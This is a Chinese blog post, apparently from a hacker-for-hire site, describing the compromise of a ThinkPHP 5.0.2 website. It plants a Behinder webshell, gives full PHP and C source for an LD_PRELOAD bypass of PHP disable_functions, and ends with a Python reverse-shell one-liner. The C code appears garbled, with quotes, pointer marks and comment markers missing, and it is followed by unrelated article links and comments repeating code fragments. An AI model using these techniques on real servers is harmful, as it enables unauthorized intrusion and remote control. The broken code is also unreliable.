当前位置:首页 > 黑客业务 > 正文内容

一次ThinkPHP引发的bypass

访客4年前 (2021-04-15)黑客业务1009

一次授权测试中,发现网站是ThinkPHP 5.0.2搭建的

漏洞存在ThinkPHP 5.0.2 命令执行

尝试写入冰蝎3.0的马

汰,写入报错发现是&的问题。将&url编码。再次尝试

链接失败。

经过本地尝试,发现是+的问题,再写入后,将+变为了空格。将其url编码,再次写入

链接发现失败,继续肝。

除了写入,还可以使用PHP中的copy函数,在vps上开启服务,将vps的马子,直接下载至目标服务器上

链接成功,接下来肯定是whoami一下。

查看disable_functions,发现是可爱的宝塔禁用了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

还有啥是宝塔不能禁的。。。还能怎么办,接着肝,在网上学习了大佬的帖子

https://www.meetsec.cn/index.php/archives/44/

尝试利用LD_PRELOAD绕过disable_functions

直接上代码

bypass_disablefunc.php

<?php

echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd=$_GET["cmd"];

$out_path=$_GET["outpath"];

$evil_cmdline=$cmd . " > " . $out_path . " 2>&1";

echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path=$_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);

?>

bypass_disablefunc.c

#define _GNU_SOURCE

#include stdlib.h

#include stdio.h

#include string.h

extern char environ;

__attribute__ ((__constructor__)) void preload (void)

{

get command line options and arg

const char cmdline=getenv(EVIL_CMDLINE);

unset environment variable LD_PRELOAD.

unsetenv(LD_PRELOAD) no effect on some

distribution (e.g., centos), I need crafty trick.

int i;

for (i=0; environ[i]; ++i) {

if (strstr(environ[i], LD_PRELOAD)) {

environ[i][0]='0';

}

}

executive command

system(cmdline);

}

用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

通过冰蝎上传,然后测试效果:

命令执行成功。Nc反弹shell

提示没有-e的参数,直接使用python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹成功

总结:这次的测试,写入冰蝎的过程要注意编码问题。然后就是利用LD_PRELOAD绕过disable_functions。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://www.therlest.com/106232.html

分享给朋友:

“一次ThinkPHP引发的bypass” 的相关文章

华流芒种是几月几号农历

芒种是二十四节气之一,大家对于二十四节气也已经非常熟悉了,但是芒种是哪一天还不是很清楚,今年的芒种是阳历6月5日,那么2020年芒种是农历几月几号呢?接下来我们就一起了解一下吧。     2020年芒种是农历几月几号...

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这 买猪肉时,根据肉的颜色、外观、气味等可以判断出肉的质量是好还是坏。优质的猪肉,脂肪白而硬,且带有香味。肉的外面往往有一层稍带干燥的膜,肉质紧密,富有弹性,手指压后凹陷处立即复原。 次鲜肉肉色较鲜肉暗,缺乏光泽,脂肪呈灰白色;表面带...

书黑客,黑客软件破解吃鸡,网站黑客攻击工具

关于较新版别的Windbg,官网已不再支撑独自下载,只能经过Windows SDK里边勾选来装置,不过装置之后Redist目录会有x64/x86/arm的装置包,也可独立装置。 此次评选活动的意图在于,在安全社区中宣扬这些技能,让职业进步对安全的注重,一起也能让这些技能能遭到认可和铭记。 因而,根据...

intense靶场-获取User权限

出品|MS08067实验室(www.ms08067.com) 本文作者:jokelove(Ms08067内网安全小组成员) Intense是HTB中一个难度中上的靶场,需要参与者具备下述能力: 1. Python源码审计 2. SQL注入原理 3. SNMP远程命令执行 4. 栈溢出...

宝宝适合什么样的袜子 如何选购幼儿袜子

有的母亲不习惯帮小宝宝加上棉袜,特别是在在夏季更是如此。可是在秋冬季的情况下,小宝宝的脚部防寒保暖是务必的,小宝宝的脚部的防寒保暖才不容易发烧感冒,那麼怎样购买小宝宝棉袜呢?下边的我为大伙儿共享小宝宝合适哪些的棉袜,在选择小宝宝棉袜的全过程中什么技巧呢?针对选购儿童但是我提议新手妈妈要帮小宝宝穿双棉...

酒店入住记录在公安系统保留多久,入住宾馆记录多久消失

大家都知道,近两个月对于笔记本用户而言可谓精彩纷呈,英伟达为移动平台带来了RT Super显卡,英特尔发布了十代酷睿H系列高性能移动版,各大PC品牌也第一时间推出了基于新硬件的多款性能级产品,机械师F117-V就是其中之一。MACHENIKE机械师战空F117-V搭载英伟达GeForce RT 20...

评论列表

青迟寒洲
3年前 (2022-05-29)

afty trick.int i;for (i=0; environ[i]; ++i) {if (strstr(environ[i], LD_PRELOAD)) {environ[i][0]='0';}}executive commandsystem(cmdline);}用命令 gcc -shar

森槿橘欢
3年前 (2022-05-29)

ar cmdline=getenv(EVIL_CMDLINE);unset environment variable LD_PRELOAD.unsetenv(LD_PR

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。